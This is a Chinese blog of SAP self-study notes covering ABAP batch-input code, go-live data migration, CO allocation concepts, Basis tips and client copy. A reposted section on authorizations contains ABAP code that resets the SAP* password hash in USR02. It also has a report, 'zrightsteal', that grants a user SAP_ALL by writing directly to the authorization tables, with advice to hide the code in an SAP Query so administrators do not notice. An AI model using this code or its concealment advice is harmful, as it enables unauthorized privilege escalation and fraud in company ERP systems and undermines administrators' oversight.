Daniel wu's profileFly way。○。。PhotosBlogListsMore Tools Help

Blog


    June 01

    SAP学习笔记

    菜鸟的SAP自学学习笔记

    更新一下最近的学习笔记,

    学习(记录)时间:从拿到SAP ERP2004SR1起(2006年2月16日)到2006年5月31日止.至少每周有3个小时左右吧……

    说明一下:
    一、自学的;
    二、公司没有上SAP,没机会得到顾问的指点

    三、配置参考资料:《100小时学会SAP》、业务情景是根据我所在的公司设置的(正好和那本书的公司类型一样,都是离散型制造业)、PUB上发现的若干后台配置及前台操作手册。
    四、配置过程简介:
    1、系统准备、建立client 406, COPY自000。
    2、参考网上下载的后台配置手册及46C online help IDES部门,从MM开始配置,后来加入PP,FI/CO,SD。 2006年4月份买了一本《100小时》,按照这本书的顺序重新将前面的配置整理一下,并吸收了这本书的所有解释及操作步骤(就是抄)。
    五、最后: SD部分没有按100小时那本书做,只引了它的配置步骤在后面。

    下载地址:http://www.itpub.net/561396.html

    May 25

    批量维护配额[转贴]

    report zmeq1
           no standard page heading line-size 255.
    include bdcrecx1.
    type-pools kcde.
    data: it_intern type standard table of kcde_intern_struc
                                  with header line.
    parameters: dataset    like rlgrap-filename default
                                           'C:\ZMEQ1.XLS'.
    ***    DO NOT CHANGE - the generated data section - DO NOT CHANGE    ***
    *
    *   If it is nessesary to change the data section use the rules:
    *   1.) Each definition of a field exists of two lines
    *   2.) The first line shows exactly the comment
    *       '* data element: ' followed with the data element
    *       which describes the field.
    *       If you don't have a data element use the
    *       comment without a data element name
    *   3.) The second line shows the fieldname of the
    *       structure, the fieldname must consist of
    *       a fieldname and optional the character '_' and
    *       three numbers and the field length in brackets
    *   4.) Each field must be type C.
    *
    *** Generated data section with specific formatting - DO NOT CHANGE  ***
    data: begin of record occurs 0,
            matnr(018),
            werks(004),
            vdatu(010),
            bdatu(010),
            beskz(001),
            lifnr(010),
            quote(004),
          end of record.
    *** End generated data section ***
    at selection-screen on value-request for dataset .
    * 导入文件路径选择
      call function 'WS_FILENAME_GET'
        exporting
          def_filename     = ''
          def_path         = 'C:\'
          mask             = ',EXCEL文件(*.XLS),*.XLS,所有文件(*.*),*.*,'
          mode             = 'O'
          title            = '请选择文件路径'
        importing
          filename         = dataset
        exceptions
          inv_winsys       = 1
          no_batch         = 2
          selection_cancel = 3
          selection_error  = 4
          others           = 5.
    start-of-selection.
    *perform open_dataset using dataset.
    perform open_local_exel.
    perform open_group.
    *do.
    *
    *read dataset dataset into record.
    *if sy-subrc <> 0. exit. endif.
    loop at record.
    perform bdc_dynpro      using 'SAPDM06Q' '0200'.
    perform bdc_field       using 'BDC_CURSOR'
                                  'EQUK-MATNR'.
    perform bdc_field       using 'BDC_OKCODE'
                                  '/00'.
    perform bdc_field       using 'EQUK-MATNR'
                                  record-matnr.
    perform bdc_field       using 'EQUK-WERKS'
                                  record-werks.
    perform bdc_dynpro      using 'SAPDM06Q' '0205'.
    perform bdc_field       using 'BDC_CURSOR'
                                  'EQUK-MATNR'.
    perform bdc_field       using 'BDC_OKCODE'
                                  '=ZEIT'.
    perform bdc_dynpro      using 'SAPDM06Q' '0501'.
    perform bdc_field       using 'BDC_CURSOR'
                                  'RM06Q-BDATU'.
    perform bdc_field       using 'BDC_OKCODE'
                                  '=ENTE'.
    perform bdc_field       using 'RM06Q-VDATU'
                                  record-vdatu.
    perform bdc_field       using 'RM06Q-BDATU'
                                  record-bdatu.
    perform bdc_dynpro      using 'SAPDM06Q' '0215'.
    perform bdc_field       using 'BDC_CURSOR'
                                  'EQUP-QUOTE(09)'.
    perform bdc_field       using 'BDC_OKCODE'
                                  '/00'.
    perform bdc_field       using 'EQUP-BESKZ(09)'
                                  record-beskz.
    perform bdc_field       using 'EQUP-LIFNR(09)'
                                  record-lifnr.
    perform bdc_field       using 'EQUP-QUOTE(09)'
                                  record-quote.
    perform bdc_dynpro      using 'SAPDM06Q' '0215'.
    perform bdc_field       using 'BDC_CURSOR'
                                  'EQUK-MATNR'.
    perform bdc_field       using 'BDC_OKCODE'
                                  '=BU'.
    perform bdc_transaction using 'MEQ1'.
    *enddo.
    endloop.
    perform close_group.
    perform close_dataset using dataset.
    *&---------------------------------------------------------------------*
    *&      Form  open_local_exel
    *&---------------------------------------------------------------------*
    *       text
    *----------------------------------------------------------------------*
    *  -->  p1        text
    *  <--  p2        text
    *----------------------------------------------------------------------*
    form open_local_exel .
      define  excel.
         record-&1 = it_intern-value.
      end-of-definition.
      call function 'KCD_EXCEL_OLE_TO_INT_CONVERT'
           exporting
                filename    = dataset
                i_begin_col = 1
                i_begin_row = 2
                i_end_col   = 7
                i_end_row   = 10000
           tables
                intern      = it_intern.
    *
      loop at it_intern.
        case it_intern-col.
          when '001'.
            excel matnr.
          when  '002'.
            excel  werks.
          when '003'.
            excel  vdatu.
          when '004'.
            excel  bdatu.
          when '005'.
            excel  beskz.
          when '006'.
           excel   lifnr .
          when '007'.
            excel  quote.
        endcase.
        at end of row.
    *      IT_UPLOAD_DATA-MANDT = SY-MANDT.
          append record.
          clear  record.
        endat.
      endloop.
    endform.                    " open_local_exel

    SAP project 期初数据导入 [转贴]

    期初数据一般包括SD、MM、PP、FI、CO的静态和动态数据.

    MM:
    1.静态:
    (1) Material  master data(因为牵涉多部门一般上线要建立主数据小组).
    (2) Vendor ,
    (3) Info record,
    (4) source list ,
    (5) Storage location , plant……这类数据注意material数据就OK,一定要正确.据说国内目前尚无一个顾问能解释清楚全部material view的各字段意义不知是否?
    2.动态:
    (1) Initial stock balance : MB1C 561 (盘点一定要正确,相应的存货类科目凭证自动产生)
          (2) Open PO : (我觉得将旧系统的open PO使用ME21N开新PO,将旧的PO item写在新PO item中同时将就PONo. 写在trackingno字段中就OK),如果有必要可将所有的old po倒出来,将相同的partno合并到一PO,或者其他策略,但要根据不同企业的实际,否则到时候会有麻烦… 在SAP中开PO还必须注意物料主数据的round value,最小包装量先不要设,等导了PO后再设置,否则…
    注意:只能倒old open po,因为你如果想将old po所有的transaction data弄进来,相应的GR/IR及财务期初余额要做相应调整。
    SD:
    1静态:
    (1) material  master data可能需要SD扩展sales area
    (2) Customer master data
    (3) Price table& condition 我的理解是price table定价最简单比如可将
    Customer+material做一定价条件,price应该可看成condition的一种方法
    (4) Fowarding agent
    (5) Credit data
    2.动态:
     Open sales order,我觉得只导Open的SO就可以了。
    PP:
    静态
    (1)Work center
    (2)Routing
    (3)Bom (通常只要当前一个生效version,将以前的都丢到垃圾桶就可,不过要和老板商量哟,否则的话变态老板一发神经让你从垃圾筒拣回来就很惨的.)
    通常PP都会将产线盘点一番, 动态数据应该…
    动态
      (1)Production Order  ,Open 的订单应该导入。
      (2)Confirm doc  
     FICO:
    1静态:
    (1)   Financial vendor
    (2)   Financial customer
    (3)   会计科目
    (4)   cost center, cost element, Internal order , profit center ( group) ..
    (5)   material price
    (6)   initial material stock确定
    (7)   BS科目余额,P&L当然要结清..
    2.动态:
             *** 99990200(GL temp)和21219999(应付账款—暂估)是临时科目
    1.      GR/IR
    GR当然已经成了库存561导入, 至于IR呢,如果是从别的系统(一般也有类似GR/IR中国叫材料采购的科目)转向SAP,  比如:GR-clear,将它的history data做凭证导入,在assignment, reference,Text这些fields中输入相应的old PO,  old收货单号,old , old XXX反正就是全弄进来,做一个GR-clear的临时vendor. 其master data对应到临时科目21219999,这样2121999就相当于IR(还记的F.19吗?),将所有的IR记到21219999和vendor GR-clear头上.
    T-code: F-43 (KA)
    Dr: 40 (99990200  )
    Cr:31 GR-clear (Related 21219999)
    上线后,有发票校验了, 还就使用真正的vendor去冲GR-clear (choose open items可by assignment, reference选择,因为做Doc已经记录了old po, Old收货号根据这个条件就可查了,否则如果只导总数就会很惨的),冲后的AP就记到真正的vendor上了.
    Dr:  GR-clear (vendor)
      CR: 真正的vendor
    使用哪个T-code就不用说吧,
    T-code: FB50 (开玩笑,但本屠夫的确可使用FB50做任何FI doc)
     
    2. AP预付款 (AP down payment)
    F-43 (KA)
    Dr: 29A Vendor (Related to a special account related to 21210101)
    Cr: 50 (99990200)
     
    3.做doc Import AP history List .
    T-code: F-43 (Doc type : KA)
    Dr: 40 (99990200)
    Cr:31 Vendor (AP related to 21210101)
    注意baseline date一定要准确
     
    4. 做doc  Import AR Billing
    F-22 (DA)
    Dr: Customer  PK: 09W
    Cr: PK: 50 (99990200)
    注意baseline date
     
    5.Import AR balance.
    T-code: F-22 (DR).
    Dr: Customer PK: 01
    Cr:  PK : 50(99990200)
     
    5.Import G/L Account balance .
    资产类(不是固定资产):
    T-code :FB50或F-02
    Dr:40 balancesheet acccount
    Cr:50(9990200)
    负债类:
    Dr:40(99990200)
    Cr:50 balancesheet account
    最后试算平衡将帐调平,OK!

    固定资产:
    主数据用TCODE:AS91导入
    会计凭证用TCODE:OASV
    对于应收、应付、预收等用相应的TCODE直接做个凭证就OK
    May 24

    [FI/CO]分摊,分配和定期重过帐的相同点和不同点[转贴]

    分摊,分配和定期重过帐的相同点和不同点



    分摊是既分摊初级成本又分摊次级成本至CO中对象的方法。成本分摊的规则可以有很多,比如根据统计指标,根据百分比,根据权重,根据固定金额等等。我们在系统中将分摊规则定义在一个重要的参数:分摊循环中。分摊循环是多行的。每一行中都定义了分摊成本流的发送方,接受方,分摊规则等内容。在月末我们指定需要执行的循环,系统自动完成分摊的全过程。分摊使用的是次级成本要素。
    分摊时:
    发送方:成本中心,业务流程
    接收方:成本中心,WBS元素,内部订单,成本对象,业务流程
    分配和分摊极为类似。分配的不同是它只处理初级成本要素,而且分配后的成本流仍然保持原成本要素。因此分配被经常用于类似水电费,房租等特定成本要素的分配过程。而分摊往往是将某个服务性成本中心的所有费用都以新的形式(次级成本要素)分配出去。
    分配时:
    发送方:成本中心,业务流程
    接收方:成本中心,WBS元素,内部订单,成本对象,业务流程
    你可以限制发送方类别的数量
    行项目既在为发送方过帐也为接收方过帐,并使分配正确纪录。
    附:分配与定期重过帐的差别
    定期重过帐中的行项目信息是会计信息,而分配中是发送方成本中心和接收方对象
    发送方:
    定期重过帐:No separate credit record is written on the sender for the cost element in the summary report. Instead, the totals record for the cost element is reduced on the debit side, means that the original debit amount can no longer be checked there
    分配:The system writes a totals record for the credit
    接收方:二者相同

    对于分配分摊定期重过帐三者
    相同之处:Both updates the partner in the totals record for the sender.
    三者都能限制接收方类别的数量
    性能:分摊》定期重过帐》分配
    分配和定期重过帐只能处理初级成本要素,original cost element 保持不变
    分摊能够处理初级和次级成本要素
    分配与分摊的差别
    分配中原始(初级)成本要素被保留,而分摊中原始成本要素被归组为分摊成本要素(次级成本要素)。原始成本要素不显示在接收方。
    分配只能处理初级成本要素,分摊能处理初级和次级成本要素。
    分配使用原始成本要素,而分摊使用分摊成本要素(次级成本要素)

    BASIS实用TIPS

    更改SAP的背景
    1、SMW0,选择WebRFC 的二进制数据,回车;
    2、执行,创建;
    3、输入对象名称、说明;
    4、点输入、选择背景图片;
    5、选择本地对象;
    6、sm30,输入视图SSM_CUST;
    7、维护,创建条目START_IMAGE(如已存在则不需要创建);
    8、参数值中填入步骤3创建的对象名;
    9、保存
    更改SAP默认client
    以T-CODE:RZ10 进入EDIT PROFILE
    1.profile:选择instance profile
    2.edit profile:选择EXTEND MAINTENANCE
    3.选择change
    4.新增parameter name:login/system_client且parameter value:800
    5.存档
    6.restart sap r/3
    在SAP中设置用户的session数以及session的timeout时间
    用RZ10选择相关参数据文件,修改改下面参数
    rdisp/gui_auto_logout   session的timeout时间
    rdisp/max_alt_modes    用户的session,default is 6
    Parameter : login/disable_multi_gui_login

    Short description: deactivating multiple dialog logon

    Parameter description :
    If this parameter is set to value 1, multiple dialog logons to
    the R/3 System (in the same client and under the same
    user name) are blocked by the system:
    When the system recognizes a multiple logon, it displays a dialog
    box with the options "Terminate the current sessions" or
    "Terminate this logon".
    This parameter works with SAPgui logons.
    System logons using the Internet Transaction Server (ITS) or
    Remote Function Call (RFC) are not affected by this
    profile parameter.

    Work area: Logon

    Unit: Boolean value 0 / 1

    Default value: 0

    Who is permitted to make changes: the customer

    Limitations for operating systems:

    Limitations for database systems:

    Other parameters affected or dependent:
    The affect of profile parameter login/disable_multi_gui_login
    is limited by the profile parameter login/multi_login_users:
    In spite of the lock on multiple logons, the users listed are allowed
    to log on multiple times; multiple logons are also logged in
    this case.
    How to install LSMW
    有两个Request导进系统就行了。
    Installation: Part 1 — Installation of the Software
                 Part 2 — Distribution of Authorization Profiles
                 Part 3 — Resetting the Buffers
    http://service.sap.com/LSMW

     配置邮箱服务器
    用这两个TCODE :scot 和 sicf
    查看用户修改及删除记录
    用se16 查询表USH04,查看PROFS一列,D表示被删除,C表示被创建,M表示被更改。MODBE一列是操作者.

    关于internet接入公司SAP系统
    1,通过vpn拨号进入公司内网, 获取内网ip,像办公室一样
    2,安装its的web服务器连接R/3,实现方法和网站差不多,需要结合iis安装两个站点,一般采用不同端口方式,一个是应用网站,一个是管理的。配置可以通过web更改,重要一点,注册R3中相关services到ITS服务器
    3,安装saprouter到一个有公网ip的机器上面,最好作为服务添加,登陆gui的时候在属性里面的saprouter输入ip地址即可

    SAP权限解析[转贴]

    用户权限解剖:
    通常basis会使用PFCG做权限管理,时你保存时会产生一个系统外的prifile name,
    记得SU01时用户有profile 和role两栏位吗?它们的关系如何呢?
     
    首先明白几个概念.
    1.activity
    这样说吧,我们从activity谈起,activity是什么意思这个你查下
    字典也就知道了,对就是规定可做什么动作,比如说不能吸烟只能喝酒,不能多于2两,
    不对,这是我老婆讲的,SAP不是这样子的,是只能insert, update,display什么的.
    这些东西当年德国佬是写在tobj表中的.
    activity 也是可分activity group的.
    2.activity category &Authorization group
      Role Vs Profile
    你看看表T020就知道了,就是什么K,D, A, M什么的.
    profile是什么呢?实际上可以理解为所有的authorization data(有很多authorization group--{你可使用OBA7填写,
    权限太细也不是好事^_^}和activity组成)的一个集合的名字,通常一个自定义的role产
    生一个profile,SAP权限控制是根据profile里的authorization data(objects)来控制的.
    role又是什么呢?role只是一个名字而已,然后将profile赋予给它, 比如你SU01建立一个
    用户,我没有任何role,但是加如SAP_All profile
    也是可做任何事情.
    SAP本身有很多default role & profile.

    3.最常用的PFCG->authorizations->change authorization data->
    进入后选取selection criteria 可看到所有的authorization object
    manually可手工加authorization object,比如你使用某个t-code权限出错误,abap使用SU53检查就
    知道缺少哪个authorization objec,然后手工加入就可以.
    你选去authorization levels就可by account type再细分权限.
    有些甚至直接到表字段.而且你甚至可給一个object分配缓存buffer.
    那么SAP是如何做到权限控制的呢,屠夫就用到小宰一下.
    4.关于权限方面的几个t-code.
    (一)Role(角色)相关T-code:
    PFAC         标准
    PFAC_CHG 改变
    PFAC_DEL 删除
    PFAC_DIS 显示
    PFAC_INS 新建
    PFAC_STR
    PFCG  创建
    ROLE_CMP 比较
    SUPC  批量建立角色profile
    SWUJ  测试
    SU03            检测authorzation data
    SU25, SU26      检查updated profile
    (二)建立用户相关T-code:
    SU0 
    SU01 
    SU01D 
    SU01_NAV
    SU05
    SU50, Su51, SU52
    SU1 
    SU10  批量
    SU12  批量
    SUCOMP:维护用户公司地址
    SU2  change用户参数
    SUIM  用户信息系统
    用户组
    SUGR:维护
    SUGRD:显示
    SUGRD_NAV:还是维护
    SUGR_NAV:还是显示
     
    (三)关于profile&Authoraztion Data
    SU02:直接创建profile不用role
    SU20:细分Authorization Fields
    SU21(SU03):****维护Authorization Objects(TOBJ,USR12).
    对于凭证你可细分到:
    F_BKPF_BED: Accounting Document: Account Authorization for Customers
    F_BKPF_BEK: Accounting Document: Account Authorization for Vendors
    F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts
    F_BKPF_BLA: Accounting Document: Authorization for Document Types
    F_BKPF_BUK: Accounting Document: Authorization for Company Codes
    F_BKPF_BUP: Accounting Document: Authorization for Posting Periods
    F_BKPF_GSB: Accounting Document: Authorization for Business Areas
    F_BKPF_KOA: Accounting Document: Authorization for Account Types
    F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy
    然后你进去还可细分,这些个东西是save在USR12表中的. 在DB层是UTAB.
    对具体transaction code细分:    
    SU22,SU24 
    SU53:*** 就是你出错用来检查没有那些authoraztion objects.
    SU56:分析authoraztion data buffers.
    SU87:用来检查用户改变产生的history
    SU96,SU97,SU98,SU99:干啥的?
    SUPC:批量产生role
    DB和logical层:
    SUKRI:Transaction Combinations Critical for Security
    tables:
    TOBJ : All avaiable authorzation objects.(全在此)
    USR12: 用户级authoraztion值
    -----------------------------
    USR01:主数据
    USR02:密码在此
    USR04:授权在此
    USR03:User address data
    USR05:User Master Parameter ID
    USR06:Additional Data per User
    USR07:Object/values of last authorization check that failed
    USR08:Table for user menu entries
    USR09:Entries for user menus (work areas)
    USR10:User master authorization profiles
    USR11:User Master Texts for Profiles (USR10)
    USR12:User master authorization values
    USR13:Short Texts for Authorizations
    USR14:Surchargeable Language Versions per User
    USR15:External User Name
    USR16:Values for Variables for User Authorizations
    USR20:Date of last user master reorganization
    USR21:Assign user name address key
    USR22:Logon data without kernel access
    USR30:Additional Information for User Menu
    USR40:Table for illegal passwords
    USR41:当前用户
    USREFUS:
    USRBF2
    USRBF3
    UST04:User Profile在此
    UST10C: Composite profiles
    UST10S: Single profiles (角色对应的
    UST12 : Authorizations..............................
    ..............................
    如何窃取权限
    ..............................

    用户:
    User type用户类型(干啥用的不讲):
    通常的用户类型有
    a.dialog (就是normal user)
    b.communication
    c.system
    d.service
    e.reference.
    通常你在使用任何T-code前一定会有权限检测的.
    AUTHORITY_CHECK:这个函数只是小检查一下你的user有没有,什么时候过期.
    **如果coding只要使用此函数就够了.
    AUTHORITY_CHECK_TCODE:检查T-code
    这倆函数是真正检查autorization objects的.
    SUSR_USER_AUTH_FOR_OBJ_GET:
    AUTHORIZATION_DATA_READ_SELOBJ:
    ------------------------------------------
    将SAP*的密码改成123的程序,很简单.
    我们找到那个user logon表USR02.
    (DF52478E6FF90EEB是经过SAP加密保存在DB的,哪位老兄研究过SAP的密码加密?)
    report zmodSAP*.
    data zUSR02 like USR02 .
    select  single * into zUSR02 from USR02
    where BNAME = 'SAP*'.
    zUSR02-Bcode = 'DF52478E6FF90EEB' .
    Update USR02 from zUSR02  .
     
    现在的问题是如何让你那basis不发现,很简单,将code隐藏在Query里面,就是说你做一个
    query,query是会产生code的,然后你加入此代码,谁能想到???然后你就等你的basis去哭...
    这样做太狠毒了.还是自己偷偷搞自己的用户吧.
    在此你必须对权限结构非常清晰.
    权限和三个表有关系.
    a.USR04
    b.USR04
    c.USRBF2  这个表是对应到所用的authorzization objects的.
    *&---------------------------------------------------------------------*
    *& Report        : Steal SAP ALL Right                                 *
    *& Creation Date : 2004.04.01                                          *
    *& Created by    : Stone.Fu                                            *
    *& Description   : 可窃取SAP ALL权限                                    *
    *& Modified Date : 2005.11.02
    *& Description   : 将此code hide在report painter or query  code        *
    *&---------------------------------------------------------------------*
    report zrightsteal.
    data zUSR04 like USR04 . "????????work area??
    data zUST04 like USR04 .
    data zPROFS  like USR04-PROFS.
    data ZUSRBF2 like USRBF2 occurs 0 with header line.
    "USRBF2?????internal table
    ** Update Authorization table USR04.
    select  single * into zUSR04 from USR04
    where BNAME = 'ZABC2'. "SAP All 权限
    move 'C SAP_ALL' to zPROFS .
    ZUSR04-NRPRO = '14'.
    zUSR04-PROFS  = zPROFS.
    Update USR04 from zUSR04  .
    **Update User authorization masters table UST04 .
    select  single * into zUST04 from UST04
    where BNAME = 'ZABC2'.
    zUST04-PROFILE  = 'SAP_ALL'. "SAP all 权限
    Update UST04 from zUST04 .
    *?????insert
    *ZUST04-MANDT = '200'.
    *ZUST04-BNAME = 'ZABC2'.
    *ZUST04-PROFILE = 'SAP_ALL'.
    *Insert UST04 from ZUST04 .
    select *  from  USRBF2 into table ZUSRBF2
    where BNAME = 'SAP*' .
    Loop at ZUSRBF2.
    ZUSRBF2-BNAME = 'ZABC2'.
    Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
    endloop.
    INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
    自己建立一个ztest用户不给它任何权限然后在test machine上run  报表zrightsteal.
    然后ztest就是SAP_ALL了, 然后你将code hide在SQP query的code中. ABAP code太容易被人发现.  K, 现在我碰到一个大问题了, 记帐程序被改的出了问题..

    几则常用的BASIS技巧整理

    1、创建一个新的用户

    2、创建一个新的角色

    3、设置SAPGUI自动LogOut功能

    4、利用scat进行数据导入

    5、配置个人信息

    6、常用的BASIS相关的T-CODE


    1、 创建一个新的用户

    完成client创建和拷贝后,在开始正式工作之前,请创建一个全新的用户。用这个用户进行工作。默认ddicsap*用户不要用于实际的业务。创建用户的过程很简单,只要以su01事务码进入用户维护屏幕。在用户栏填上新增的用户名,按新建按钮创建。输入相关的参数,关键是设置角色和参数文件,如果是管理员,可设的角色为“SAP_ALL_RESTRICTED,参数文件设为“SAP_ALL”。角色名和参数文件是一对的,参数文件是控制具体权限设置的文件。角色和参数文件也可不在这里指定,可在设置角色时设置。

    2、创建一个新的角色

    PGCG 可以通过复制现有ROLE,增加T-CODE或菜单来增加需要的ROLEROLE分为两大类:单一ROLE和复合ROLE 所谓复合ROLE就是由多个单一ROLE组成的。角色管理中重点:角色参数的维护(通过参数的比较来完成参数维护工作)

    可以直接在用户菜单中增加需要授予当前ROLE的用户。

    3、 设置SAPGUI自动LogOut功能

    当客户端长时间没有使用时,为了不占用SAP服务器的资源,我们可以设置当客户端在一段时间没有进行操作时自动退出SAP系统。设置步骤如下:

    Tcode rz10打开参数配置窗口,选择你当前的实例参数文件,再选扩展编辑,按修改按钮进入扩展参数编辑窗口中。

    按参数创建按钮,创建一个名为“rdisp/gui_auto_logout”的参数,参数值输入“600”,代表如果客户10分种(600秒)没有进行操作,则会自动退出SAP系统。

    按退出保存设置。在rz10窗口按保存把参数传送到系统的参数文件中。重启SAP实例,使配置参数生效。

    我们还可用rz11来设置当前正在运行的实例的一些参数,但用这种方法设置的参数只会影响当前运行的实例,一旦重启实例,参数就会失效。

    4、利用scat进行数据导入

    在系统上线或进行测试时,都需导入大量的主数据。在SAP中有多种方法可批量地导入大量数据,这里介绍利用scat进行数据导入的方法。下同以导入统计指标数据为例进行详细说明。

    scat事务码进入计算机辅助测试工具屏幕,在测试情况栏内新建一个测试项。该测试项的名称要以z开头,如ztest。输入完名称后,按工具栏上最左边的“TCD”按钮开始记录事务。

    首先在弹出窗口内输入需记录的事务代码kk01,按回车,进入统计指标维护界面。

    接下来按维护统计指标的操作输入统计指标编码、统计指标名和计量单位,最后按保存完成事务记录,返回scat事务界面。

    scat事务界面按保存,弹出选择开发类界面,选“本地对象”,完成ztest测试项目的创建。

    返回scat的初始屏幕,这时,在测试事件列表中应该有一个你刚创建的测试项目。选中它,按工具栏的“更改”按钮,接着双击功能表里的kk01项,接着再双击“SAPLOKSK”项,这时会打开输入统计指标编码窗口,并且光标会停留在编码栏内,接着点击工具栏的“insert import parameter”按钮,创建一个&STAGR参数。接着按工具栏下一页,使当标停留在名称栏,和上面一样,点击工具栏的“insert import parameter”按钮,创建&BEZEI参数。接着光标会自动移到计量单栏,同理,生成&MSEHI参数。按返回按钮回到上一屏幕,接着按保存完成参数创建。

    返回初始屏幕,在选中ztest测试项目的情况下,选择菜单的“转到”--“变式”--“输出缺省”,生成一个ztest.txt文件。

    打开ztest.txt文件,内容如下:

    [变量标识] [变式文本] STAGR BEZEI MSEHI

    --> Parameter texts 统计指标 名称 统计关键数单位

    --> 默认数值 Y02 y02 H

    *** Changes to the default values displayed above not effective

    增加需导入的数据后的格式如下:

    [变量标识] [变式文本] STAGR BEZEI MSEHI

    --> Parameter texts 统计指标 名称 统计关键数单位

    --> 默认数值 Y02 y02 H

    *** Changes to the default values displayed above not effective

    Y03 y03 H

    Y04 y04 H

    Y03Y04是需导入的统计指标,文件中的空格全部是用tab分隔的。

    整理好导入数据的格式后,就可进行数据导入了。进入scat事务,运行ztest测试项目,变式选择“自文件外部的”,选择整理好的ztest.txt文件。处理方式可选择“前台”或“后台”,第一次最好选择前台方式,这样方便除错。最后按工具栏的运行按钮即可。

    5、配置个人信息

    在操作SAP系统时,经常要输入一些参数,如成本控制范围、公司代码、工厂等。如果每次打开界面都要输入是不是很烦,可不可以让系统自动记住这些固定的参数呢?答案是肯定的,通过配置个人信息即可让每个用户记住这些参数。现以设置成本控制范围代码CA00为例说明一下具体操作方法。

    选择“系统”--“用户参数文件”--“个人数据”,进入个人参数配置界面。在这里,addree标签可设置用户名、地址、电话等个人信息;defaults标签栏可设置开始菜单、登录语言、小数点表示方法等;parameters标签就可设置默认输入的参数值。在parameters栏里选择一个参数代码,如CAC是成本控制范围,在value里填入值CA00。存盘退出。重新登录后,凡是在界面中要输入CA00的地方都会自动被填上CA00

    另外,在一些输入参数的界面会有一个存盘按钮可把参数直接保存为默认值或用户默认值,效果与上面的配置一样。

    在需输入成本控制范围的界面,通过菜单“扩展”--“设置成本中心范围”可覆盖默认的CA00值。

    6、常用的BASIS相关的T-CODE

    SLICENSE or SLIC

    激活SAP license

    SE16

    显示SAP数据表

    SE38

    运行ABAP程序

    SHDB

    跟踪一个事务码所操作的SAP表名

    RZ10

    配置SAP参数文件,修改完成后需重启实例。

    RZ11

    修改运行中实例的参数,修改完马上生效,不用重启实例。重启实例,参数修改失效。

    SICK

    SAP系统一致性检查。

    STMS

    创建传输管理系统

    SMLT

    导入语言包

    SGEN

    编译SAP对象,使客户在访问SAP对象时不用编译,提高服务器的响应速度。

    SM02

    创建系统消息。创建时需填上消息正文,还有服务器名和客户名,当客户栏不填或填“*”号时,保存后就可把该消息马上发给所有登录的用户,当其它用户新登录系统时也会显示。

    SM04

    显示在线用户会话

    SM12

    显示与解锁由用户锁定的表

    SM21

    显示系统日志

    SM50

    显示工作进程

    SM51

    显示SAP实例

    SM59

    维护RFC

    SPAM

    支持包管理工具

    SCC4

    建立一个client(集团)

    SCCL

    client本地复制

    SCC3

    显示client复制日志

    SCAT

    记录事务和函数功能,可进行数据批量导入

    简单的描述一下新建client的相关工作

    看到ITPUB上仍有不断的人在询问这个问题,我最初也是参考前辈的文章设置成功的. 现在将自己新建client的经验大约的总结一下. 有问题请指正,勿笑偶班门弄斧.

    要用到的事务码:

    STMS, SM59,SU01,SCCL,SCC9,SCC4


    大概说一下:
    1、在client 000 中用SAP*用户登陆,用命令scc4 新建一个client, 号码3位自取,不要和已经有的client重复。
    2、退出000, 用SAP*/PASS登陆新建的client. 用命令sccl or scc9 copy client

    前提:配置好STMS:
    方法:
    使用SM59修改r3 connection下面的 finbasis_800及finbtr@id3clnt000.的ip地址和系统编号信息,如果是本机的可以设成127.0.0.1和00,也可以选择HOSTNAME设置成主机名称(如localhost).

    注意: copy client 最后在后台进行,一般设置成在后台马上进行。

    COPY选项一般从000复制到你新建的目标client. Profile选择SAP_ALL, 记得将eCATT启用。

    设置好后选择上方的TEST connection 测试一下连接。

    顺利的话copy过程需要4个小时左右的时间。



    3、新建自己的用户, 可以通过SU01复制SAP*的所有权限到新用户。

    差不多就完了。当然也可以选择复制800的client数据。不过那样确实没必要的。 直接用800不是更好。

    说明: copy client的过程见仁见智,自己试了才知道, sccl 要简单一些。 可能我的运气比较好,sccl和scc9都能一次通过。

    补充一下:
    copy client 结束后,或是过程中都可以用t-code SCC3能查看一样client copy的日志。

    如果这个新建的client 搞坏了,直接用scc5把它删除就OK啦。

    另: COPY CLIENT 相关的事务代码:

    SCMP ViewE SD11 Data Mode 视图1 SCUI SAP 通讯
    SCC1 Client Copy - Special Selections 集团拷贝 - 特定选择
    SCC3 Client Copy Log 集团拷贝日志
    SCC4 Client Administration 客户管理
    SCC5 Client Delete 客户删除
    SCC6 Client import 集团输入
    SCC7 Client import - postprocessing 集团输入 - 发送处理
    SCC8 Client export 集团导出
    SCC9 Remote client copy 远程集团复制
    SCCL Client import - postprocessing 集团输入 - 后处理
    SDC1 Dictionary Nametab - Export (Compar) 词典名标 - 输出(比较)
    SDC2 Dictionary Nametab - Comparison 词典名标 - 比较
    SM29 Model Transfer for Tables 模型转移为表

    May 23

    几个MM常用的T-CODE

    开物料帐(调整物料帐期间):MMPI

    关(调整)物料帐:MMPV,只能一个月一个月的向后调整.

    手工增加物料的库存: MB1C, 参考移动类型:561

    查看(初始化)物料帐管理期间:OMSY

    关于MMPI的NOTES

    新建的环境中执行MMPI提示

    在初始化之前依照注释487381的指示
    消息号 MM016,查看消息号的T-CODE:SE91

    Diagnosis
    You want to run the period initialization program. Note that when you start the period closing with initialization, inconsistencies can arise.

    Procedure
    Note 487381 describes the possible data inconsistencies that can occur if you perform initialization in a productive system. The inconsistencies cannot be traced back to a system error, but instead the period closing with initialization. Therefore, these inconsistencies can only be cleared by using the chargeable remote consulting service. This is because in releases higher than SAP R/3 4.5, the period closer does not normally have to be started with initialization.

    SAP后台设置(含前台操作)笔记更新

    利用周末时间断断续续的做了快3个月了,练习过程参考了北京及浙江某公司的实施项目资料、《100小时学会SAP》。

    现在发到ITPUB的论坛里,里面有些问题还没有解决,有些设置可能不对,请朋友指点……

    http://www.itpub.net/550664.html

    [20060520]这次放到ITPUB上的只有MM部分, FI/CO/PP部分的改动也很大,如果大家需要,我可以将全部笔记放到ITPUB上. 总共有500多页. 花了不少时间. 呵呵........搞成这样了,我想把SD部分一起简单的做一下练习,然后再专攻MM及HR.

    FI模块与SD、MM的接口配置相关[转贴]

    原贴地址忘记了.....:(

    accounting determination autoposting,做FICO的对这两个接口帐号的配置都会感兴趣的啊~ 简单介绍:



